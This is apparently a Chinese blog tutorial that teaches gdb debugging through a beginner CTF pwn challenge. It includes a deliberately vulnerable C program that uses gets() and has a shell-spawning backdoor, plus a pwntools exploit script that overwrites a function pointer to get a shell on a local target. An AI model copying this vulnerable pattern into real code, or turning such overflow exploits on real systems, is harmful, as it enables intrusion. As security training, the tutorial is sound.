目录
写在开头
一、pwn题目环境的部署
二、解题思路(不是重点)
三、gdb的调试过程(重点)
完整运行过程(run)
调试程序(重点)
运行到程序的开始位置
设置断点
查看内存
修改地址的值
单步运行/查看寄存器
四、python脚本的编写
总结与思考
写在开头
近期又开始回头开始学pwn了,看了b站国资社畜大佬的视频,在大佬讲解的基础上做个总结,加入了我的一些思考。学pwn主要是要了解内存布局和程序的执行过程,感觉学习路线确实比较陡峭,今后我也会不定期更新这个系列。
本文主要以对一个程序的调试过程为例,介绍gdb调试器的常见命令,并直观的展示所谓“溢出”覆盖的效果以及大小端序的问题。涉及的知识点包括:pwn题目环境的部署、gdb调试的常见命令、大小端序的影响、简单解pwn题目脚本的编写。特别说明,由于篇幅有限,本文不会过多介绍汇编指令以及程序运行时函数调用栈的变化过程。这些内容可能会在后面的博客中再做介绍,本文的重点是使用gdb对程序进行调试。本文需要的工具主要有gdb和pwntools,读者如果想跟着复现,只要有gdb和pwntools即可,安装过程详见:
pwn入门(1):kali配置相关环境(pwntools+gdb+peda)_gdb插件 peda-CSDN博客
备注:文末有我总结的gdb常见指令,有需要的读者可以直接看文末。
一、pwn题目环境的部署
这一部分属于调试过程的前置,想在本地部署一个pwn环境,用socat开启一个本地端口运行pwn题目(下文会细说)。当然读者如果仅仅了解gdb的话也可以不用考虑这么多,直接用p = process(./文件)即可。建议使用ubuntu或kali这样的系统部署环境、调试程序。
首先我们要构建一个存在“溢出”漏洞的二进制文件。这里我们就用国资社畜大佬给出的question.c文件即可,其内容如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int func(char *cmd){
system(sh);
return 0;
}
int main(){
init_func();
volatile int (*fp)();
fp=0;
int a;
puts("input:");
gets(&a); //gets没有对输入字符的长度做限制,存在溢出
if(fp){
fp();
}
return 0;
}
然后用gcc把这个文件编译一下,生成存在漏洞的二进制文件,注意编译的过程要关闭pie保护,命令如下:
gcc question.c -no-pie -o question1
此处简要说明一下PIE保护(不是本文重点)。
1.PIE保护是编译时默认开启的。如果想关闭pie保护,需要手动添加参数-no-pie
2.PIE (position-independent executable) 是一种生成地址无关可执行程序的技术。是一种保护机制,如果程序开启了PIE保护的话,那么在每次加载程序时都会改变加载的基地址。当然这种机制不利于我们本地调试程序,所以在这里就关闭了。
接下来为了增强仪式感,我们可以在当前目录新建一个文件flag,拿到这个flag相当于解题成功。
然后用socat开启8888端口部署这个题目question1,当然你也可以使用任何未被占用的其他端口:
socat tcp-l:8888,fork exec:./question1,reuseaddr
然后另起一个终端(ctrl+shift+t),试一试能不能用nc连接这个题目,如下图连接成功:
随便输入一段字符串看看效果,好像没啥问题:
二、解题思路(不是重点)
如果从解题的角度思考,我们只能拿到一个二进制文件,是看不到源代码的。当然可以放到ida中分析,也可以用反汇编工具查看伪源代码,然后再慢慢分析。不过由于本文的重点是用gdb调试程序,因此这里就直接从上面的源代码简要分析触发漏洞的位置:
1.溢出点:代码中存在危险函数gets()。gets函数用于获取用户的输入,且不会对输入的字符数量做限制,因此有可能会溢出覆盖其他内存。
2.后门函数:存在后门函数func,这个函数可以获取shell,我们要想办法让这个函数执行。
3.函数指针fp,原始的逻辑是定义了一个函数指针fp,然后把fp指针设置为0,if语句永远为假,如果我们可以修改fp指针的值,使得fp指向后门函数func的地址,则可以getshell,而fp指针的值是可以被gets函数的输入覆盖的,因此就可以被我们控制。
三、gdb的调试过程(重点)
完整运行过程(run)
首先把这个二进制文件复制到另外一个文件夹(也可以直接再刚刚的目录操作,我只是想有点仪式感,不想让解题调试的目录和题目的部署目录相同),下图中的bin就是之前的question1,我改了个名字:
然后开始用gdb调试,直接运行命令即可:
gdb ./bin
可以先直接run一下这个文件试试看看效果,先输入run,然后输入一个很短的字符串,比如abc,如下图:
可以发现run指令会从头到尾运行当前程序(此时没有溢出),那么如果发生了溢出会怎样呢?我们重新run一下,这次输入一个非常长的字符串保证溢出:
如上图所示,显示当前程序出现了段错误。那么我们想知道当前指令运行到了哪里,可以通过rip寄存器来寻找。在x64架构下rip寄存器指向当前执行指令的地址。我们可以用如下的命令查看当前运行到了哪里:
x/20i $rip
x用于查看内存的内容,/20i表示查看20条指令,以汇编的形式显示(i)。而rip寄存器存储了当前执行指令的地址,因此x/20i $rip可以看到当前程序执行到了哪一条指令。
可以发现执行到了call rdx这条指令就出现了问题,应该是rdx寄存器指向的地址出了问题,出现了 段错误。这正是由于我们刚刚通过gets函数输入的字符过长,通过一系列的操作,最终导致rdx寄存器的值出了问题,指向了无意义的地址。回到程序,我们重新调试。
调试程序(重点)
运行到程序的开始位置
输入q退出。重新调试程序,这回用start开始运行程序:
run指令会让程序完整运行,而start指令则会先运行到程序的入口点,通常就是main函数的开始位置。在这个位置我们用rip找到当前指令的指向位置:
当然,我们也可以直接查看main汇编源代码,也是一样的效果:
disassemble main
总之就是运行到了程序的main函数开始的位置。记得之前run造成溢出的时候,程序会停止在call rdx这条指令上,那么rdx指令的值是谁赋值给他的呢,我们可以往上看两行,就可以发现有一条指令mov rdx,QWORD PTR[rbp-0x10]这条指令,把rbp-0x10地址中的值赋值给了rdx:
设置断点
可以看到给rdx赋值的指令的地址是0x0000000000401293,那么我们可以在这个指令的地址下个断点。
b *0x0000000000401293
可以用如下指令查看断点:
i b
可以用指令d 2删除这个断点,其中2是断点编号(num):
重新设置这个断点,通常情况下,调试程序时没必要删除断点,直接关闭断点即可,关闭和开启断点的命令是:
disable b 2
enable b 2
总而言之我们在mov rdx,QWORD PTR[rbp-0x10]这条指令处下了断点,接下来我们用c或continue指令继续运行程序,程序会运行到断点位置停止:
c
运行到断点之前会让我们输入一段字符串,我们输入一个比较长的字符串abcdefghijk构造溢出(此时我们暂时不知道这个字符串是否溢出,下文会详解),然后回车。再次用rip寻址,果然运行到了断点的位置。下一条指令应该就是将从rbp-0x10地址开始的8个字节(QWORD是8个字节)赋值给rdx了。但再次之前,我们应该先查看一下内存:
查看内存
前面我们已经尝试过通过x/20i $rip的方式查看内存了。此时我们要重点查看的是rbp-0x10,可用如下的命令查看:
x/20g $rbp-0x10
这条命令的作用是查看从$rbp寄存器指向的地址减去16字节(0x10)的位置开始的20个长双精度浮点数。结果如下:
如果大家对ascii码敏感的话,就可以发现16进制的65,66,67,68...这些数字(即十进制的101,102,...)应该就是我们刚刚输入的efgh....,从这个图也可以反应出小端序的显示,即\x65所在地址是0x7fffffffdf20。这么快或许不太明显,我们干脆从rbp-0x20的位置开始看(即再往前看16个字节):
x/20g $rbp-0x20
如上图,这回应该就能比较明显的看到我们输入的字符a(即0x61)在内存的什么位置,以及整个字符串的小端序排列过程。 (a对应0x61,以此类推)如果我们想让[rbp-0x10]的值是func函数的地址的话,就需要构造溢出,使得地址0x7fffffffdf20的值(即上图中从\x65开始的位置)是func函数的地址。
修改地址的值
在本地调试的过程中,我们可用set指令强行手动改变地址的值,比如这里我们可以设置0x7fffffffdf20地址的值是func函数的地址。首先用p指令查找func函数所在地址:
p &func
可以发现func函数所在的地址是0x40121f,那么接下来我们强行用set指令修改0x7fffffffdf20的值是0x40121f
set *0x7fffffffdf20=0x40121f
再次查看内存,发现确实修改了地址的值,但从0x7fffffffdf24开始的内容还是原来的\x69\x6a\x6b,没有被覆盖掉,这主要是由于数据类型的大小问题,导致只覆盖了低位的4个字节。这里我们干脆直接再将从0x7fffffffdf24开始的4个字节置零。
set *0x7fffffffdf24=0
这样的话,从地址rbp-0x10开始的8个字节就被设置成了func函数的地址,我们回到程序的运行位置:
接下来如果运行mov rdx,QWORD PTR [rbp-0x10]指令,则会将rdx的值赋值为func的地址。
单步运行/查看寄存器
接下来我们通过单步运行程序进行调试。在单步运行程序时,我们先查看寄存器的情况:
i r
如上图所示,rdx此时还是0,rip指向下一条指令的地址,即 mov rdx,QWORD PTR [rbp-0x10]指令的地址。我们通过ni指令单步运行程序,执行这条指令:
ni
如上图, mov rdx,QWORD PTR [rbp-0x10]已经执行完,再次查看寄存器的值:
果然,此时rdx已经被修改,再回看一下main函数的执行过程:
disassemble main
此时只要再往下运行两行指令,就会执行完成call rdx,就相当于调用了后门函数func,应该就能拿到shell了。我们运行两次ni,应该就可以拿到shell。
nice!果然拿到了shell,这里顺便提一下gdb指令ni和si的区别,ni表示下一条指令,而si表示单步运行,换句话讲就是ni遇到函数调用会直接执行完函数,而si会进入函数里面单步执行。此时我们希望调用func直接完成,因此使用ni指令更快捷,当然也可以用si进入函数再执行。
四、python脚本的编写
从解题的角度来讲,我们只要构造合理的溢出,从输入的第5个字节开始就会溢出到rbp-0x10的地址了,因此我们的payload的可以是"a"*4 + func函数的地址。然而很可惜,func函数的地址0x40121f对应的这几个\x40\x12lx1f字节并没有可见字符对应(即像0x61对应字符a,0x65对应字符e这样),因此只能通过python脚本的方法构造payload,完成对特定地址的覆盖。编写的python3脚本exp-pwn.py如下:
from pwn import *
p = remote("127.0.0.1", 8888) #连接题目部署的环境,相当于nc 127.0.0.1 8888
p.recv() #接受程序输出的"input"字符串
func_addr = 0x40121f #func函数的地址
#payload = b"a"*4 + p64(addr) #可以这么写,用pwntools中的p64函数会自动设置成小端序,不过为了理解更深刻,还是用下面这行
payload = b'a' * 4 + b"\x1f\x12\x40\x00\x00\x00\x00\x00" #小端序构造溢出
p.send(payload) #将payload发送给程序
p.interactive()
特别注意对应小端序的理解,运行这段程序应该就能拿到shell了:
注意这个shell的当前位置就是题目部署环境的位置。相当于我们通过a.out这个有漏洞程序拿到了靶机的shell。实际的ctf当然还要读取flag啦!
总结与思考
本文以一个pwn题目为例,详解了使用gdb的调试程序过程。题目本身没有难度,重点在于gdbd 调试过程。gdb作为非常强大的调试器,对于解pwn题目是非常有帮助的,我们一定要了解如何调试程序(单步运行、设置断点、查看内存、查看寄存器、修改地址的值等)这里我总结了一个gdb的常用指令表格:
用途 | 指令 | 说明 |
运行程序 | run | 从头开始完整运行程序 |
运行到程序开始的位置 | start | 运行到入口点,通常是main函数入口 |
单步指令 | si | 单步运行程序,遇到函数调用会进入函数 |
下一条指令 | ni | 运行下一条指令,遇到函数会直接执行完函数 |
设置断点 | b *地址 | 在某个地址设置断点(默认启用) |
查看断点 | i b | 列出当前所有断点(启用/未启用) |
删除断点 | d b 断点编号 | 删除某个断点 |
关闭断点 | disable b 断点编号 | 将某个断点设置为关闭状态(不启用) |
启用断点 | enable b 断点编号 | 将某个断点设置为启用状态 |
汇编 | disassemble main | 汇编整个main,可观察当前运行指令 |
修改内存 | set *地址=值 | 强行修改某个地址存储的值 |
查看内存 | x/20i $rip | 查看当前程序中从 $rip 寄存器指向的地址开始的20条汇编指令 |
x/20g 地址 | 查看地址的内容,显示20行,每行8个字节 | |
x/20b 地址 | 查看地址的内容,显示20行,每行1个字节 | |
p $寄存器 | 查看寄存器中存储的值 | |
p *地址 | 查看某个地址中存储的值 | |
p &func | 查看func函数的地址 |
近期还挺头大的,工作原因要速成pwn了,可能后续还会更新有关pwn的知识,希望大家多多点赞关注支持,如果有啥问题也可以评论指出,我一定知无不言。